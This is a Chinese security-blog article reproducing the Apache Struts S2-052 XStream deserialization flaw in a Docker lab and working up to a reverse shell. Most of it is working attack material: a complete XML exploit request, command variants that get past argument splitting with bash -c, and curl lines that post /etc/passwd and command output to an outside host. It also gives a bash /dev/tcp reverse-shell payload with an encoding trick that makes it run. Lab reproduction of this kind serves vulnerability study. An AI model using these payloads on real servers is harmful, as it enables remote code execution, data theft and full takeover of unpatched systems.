Struts S2-052反弹Shell实验
*本文原创作者: 守望者2018,本文属FreeBuf原创奖励计划,未经许可禁止转载
S2-052已经爆出几天了,我也凑热闹赶紧搭建环境感觉了一下。不知其他人是怎样的,我这边刚开始测试的时候,感觉能执行的命令比较有限:没有回显、创建一个指定内容的文件都很费劲、好像也反弹不了shell。经过一阵子的测试,最后解决了这些问题,下面大概说下我的探索过程。
一、环境搭建
主机是linux的,直接用docker拉一个别人搭建好的环境……
链接地址: https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-052
具体方法(略过安装和使用docker的步骤):
1、拉去镜像到本地
$ docker pull medicean/vulapps:s_struts2_s2-052
2、启动环境
$ docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s-052
3、访问 http://localhost/ 即可,能看到如下面这个图,就说明可以了。
二、漏洞复现
利用burpsuite向本地80端口发包
POST /orders HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 2408
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
该请求核心部分如下(在目标主机的/tmp/目录创建一个空的test.txt文件):
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
发送请求结束,服务器会报错,但是命令应该已经执行成功。查看一下本机的/tmp/目录,看是否新生成一个test.txt文件。(由于启动该镜像时,已经将本地的/tmp/目录映射到容器的/tmp/目录,故容器/tmp/目录的变化会反映到本地/tmp/目录)
如果想执行其他命令,只需要修改<command></command>之间的值就行了。
三、测试过程
随着近一步的测试,郁闷的发现这个地方的payload不能随意写,必需符合某些格式命令才会执行。
1、命令不能直接写到一个<sting></sting>中:
<command>
<string>touch /tmp/test.txt</string>
</command>
这样写命令是不会执行的,必须按照空格分开,分别写到<string></string>中间才行。例如最开始的正确格式。
2、没法随意创建文件
比如原始命令是:
echo abc > /tmp/abc
转换成对应的格式就是:
<command>
<string>echo</string>
<string>abc</string>
<string>></string>
<string>/tmp/abc</string>
</command>
这样也是不行的,应该是不支持重定向符号>,管道符 | 应该也不支持吧。
3、没有回显
命令执行完了之后,完全看不到执行的结果。比如 ls、pwd、id、whoami、ifconfig ,完全不知道结果是什么。能想到的一个回显办法就是把命令执行结果写到一个文件,然后去读取那个文件。但是由于不支持重定向符号,所以写文件还是个难题……
4、命令可以支持多个参数
原始命令:
cp /etc/passwd /tmp/passwd
转换之后
<command>
<string>cp</string>
<string>/etc/passwd</string>
<string>/tmp/passwd</string>
</command>
cp命令执行成功
原始命令:
curl -d “abc=test” http://x.x.x.x/
转换之后
<command>
<string>curl</string>
<string>-d</string>
<string>abc=test</string>
<string> http://x.x.x.x/ </string>
</command>
curl命令执行成功!注意第三行<sting>的值不能有双引号,否则失败。
5、可以文件读取
原始命令:
curl -F “value=@/etc/passwd” http://x.x.x.x/
转换之后
<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>
通过在服务端http://x.x.x.x/抓包,发现/etc/passwd被post了过来。
四、难点与突破
经过上述测试,发现能实现文件读取。假如能把命令的执行结果写到某个文件,就能实现回显。然而臣妾做不到啊……
后来还是想办法绕过对 > | 这些符号的限制,搜了不少资料未果。然后猜想服务端是不是类似一种bash -c 的执行效果,服务端把我们传的参数都拼接起来执行。
然后就开始测试 bash -c这个命令,以下是失败的例子:
<command>
<string>bash</string>
<string>-c</string>
<string>touch</string>
<string>/tmp/abc.txt</string>
</command>
<command>
<string>bash</string>
<string>-c</string>
<string>'<string>
<string>touch</string>
<string>/tmp/abc.txt</string>
<string>'<string>
</command>
<command>
<string>bash</string>
<string>-c</string>
<string>"touch</string>
<string>/tmp/abc.txt”</string>
</command>
<command>
<string>bash</string>
<string>-c</string>
<string>"touch /tmp/abc.txt”</string>
</command>
功夫不负有心人,让我测试到了成功!下面是成功的例子!
创建一个空的 /tmp/abc.txt
<command>
<string>bash</string>
<string>-c</string>
<string>touch /tmp/abc.txt</string>
</command>
可以使用重定向符号>创建任意文件!
<command>
<string>bash</string>
<string>-c</string>
<string>echo abcd >/tmp/abcd.txt</string>
</command>
可以把ip addr的命令执行结果输出到/tmp/ip.txt
<command>
<string>bash</string>
<string>-c</string>
<string>ip addr >/tmp/ip.txt</string>
</command>
可以把ip addr的命令执行结果输出到/tmp/ip.txt,然后把这个ip.txt文件post到指定的服务器,实现了回显。
<command>
<string>bash</string>
<string>-c</string>
<string>ip addr >/tmp/cmd.txt;curl -F "name=@/tmp/cmd.txt" http://x.x.x.x</string>
</command>
使用管道符|
<command>
<string>bash</string>
<string>-c</string>
<string>echo abc|grep abc>/tmp/test.txt</string>
</command>
五、得到反弹shell
最理想的当然就是反弹shell了,我紧接着测试了bash反弹shell的例子。
原始命令
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
转换之后:
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/x.x.x.x/port 0>&1</string>
</command>
但是没有反弹成功……
刚开始不知道为什么会失败,后来想到可能是&这个符号,因为前面已经证实了这种写法 > | 符号是可以被正确解析的,所以只剩下&符号了。
正郁闷的时候,我发现服务器的错误响应跟前面的是有点不同的。
通过这个,猜测服务器应该是不认识&这个符号,需要编码。然后我就把&换成 &,再试一次……
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/x.x.x.x/port 0>&1</string>
</command>
成功了!服务器得到了一个反弹shell,然后想干嘛就可以干嘛了……
六、后续
然后我又猜测之前重定向符号>不被识别,是不是也需要编码。测试了一下,还是不行。目前的结论就是这样了。
没有特别的技术含量,纯属探索。在此分享。
*本文原创作者: 守望者2018,本文属FreeBuf原创奖励计划,未经许可禁止转载
AlexFran